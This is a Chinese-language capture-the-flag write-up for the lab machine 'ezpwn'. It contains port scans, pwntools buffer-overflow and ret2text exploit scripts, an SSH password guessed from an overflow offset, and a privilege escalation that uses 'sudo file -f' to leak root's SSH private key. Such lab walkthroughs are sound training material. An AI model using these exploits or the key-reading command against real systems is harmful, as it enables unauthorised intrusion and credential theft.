MazeSec ezpwn
  # 信息收集
端口扫描
┌──(npc㉿kali)-[~/hackmyvm/ezpwn]
└─$ nmap -p- -sT 192.168.56.119
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6538/tcp open  unknown
9999/tcp open  abyss
 2
3
4
5
6
7
8
80端口,dirsearch目录扫描也没东西
┌──(npc㉿kali)-[~/hackmyvm/ezpwn]
└─$ curl http://192.168.56.119
index
 2
3
6538是一个python的默认http web服务,提供了pwn附件下载

经过测试,9999端口是pwn题目端口
# overflow
下载附件,拖进ida
main函数,调用了init,start函数

init函数

start函数,调用了gets函数(事故多发点),符合条件时会调用port函数

port函数,调用了system函数,执行了一个port相关脚本/home/a/overflow/port.sh,同时说明了存在用户a

没有保护措施

符合条件也能调用port函数,条件是输入的字符串第13个字符是'p',第15个字符是's',可以直接A*12 + A + 'p' + A + 's' + A
可以直接

一样的
from pwn import *
ip = '192.168.56.119'
port = 9999
payload = b"A" * 12 + b"A" + b"p" + b"A" + b"s" + b"A"
p = remote(ip, port)
p.sendline(payload)
p.interactive()
 2
3
4
5
6
7
8
9
10

nmap 扫描到新端口 11450
┌──(npc㉿kali)-[~/hackmyvm/ezpwn]
└─$ nmap -p- -sT 192.168.56.119
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6538/tcp  open  unknown
9999/tcp  open  abyss
11450/tcp open  unknown
 2
3
4
5
6
7
8
9
# ret2text 到 ssh a用户
11450端口,还是一个python 的默认http web服务,提供了ret2text附件下载

提示,密码的位置提示了(offset),ssh密码可能是偏移值

start函数里有gets函数

程序没有保护

存在一个后门 shell 函数

shell 函数地址

给变量 a 填充满 + 8 字节的saved rbp + shell 函数地址
#!/usr/bin/env python3
from pwn import *
context.binary = './ret2text'
p = process('./ret2text')
p.recvuntil(b'a:')
shell_addr = 0x401152
payload = b'A' * 18
payload += p64(shell_addr)
print("[+] payload:"+str(payload))
p.sendline(payload)
p.interactive()
 2
3
4
5
6
7
8
9
10
11
12
13
14
15
程序崩溃了,可能栈没有对齐

找一条ret指令放shell 函数地址前面
ida使用alt+t快捷键,搜索retn,随便找一条retn指令地址

#!/usr/bin/env python3
from pwn import *
context.binary = './ret2text'
p = process('./ret2text')
p.recvuntil(b'a:')
shell_addr = 0x401152
payload = b'A' * 18
ret_addr = 0x4010D0
payload += p64(ret_addr)
payload += p64(shell_addr)
print("[+] payload:"+str(payload))
p.sendline(payload)
p.interactive()
 2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

好像没什么用,没有远程端口。
漫长思考,把提示放一起
# hint
password and username in the program
(offset)
# overflow
/bin/bash /home/a/overflow/port.sh
# ret2text
a:我离shell还有多远呢
 2
3
4
5
6
7
可以猜测,ssh用户名是a,密码是偏移量18的16进制表示0x12
# root
ssh登录到a用户,密码是0x12。有条suid file命令

gtfobins里有利用方式https://gtfobins.github.io/gtfobins/file/ (opens new window)
没有root.txt,尝试读取私钥
sudo /usr/bin/file -f /root/root.txt
 
sudo /usr/bin/file -f /root/.ssh/id_rsa
 爆出私钥,处理一下格式,删掉:及以后的报错信息

a@ezpwn:~$ mkdir -p .ssh
a@ezpwn:~$ cd .ssh
a@ezpwn:~/.ssh$ vim authorized_keys
a@ezpwn:~/.ssh$ vim authorized_keys
a@ezpwn:~/.ssh$ cat authorized_keys | cut -d ':' -f 1 |tee authorized_keys 
a@ezpwn:~/.ssh$ chmod 600 authorized_keys
 2
3
4
5
6

ssh 到root
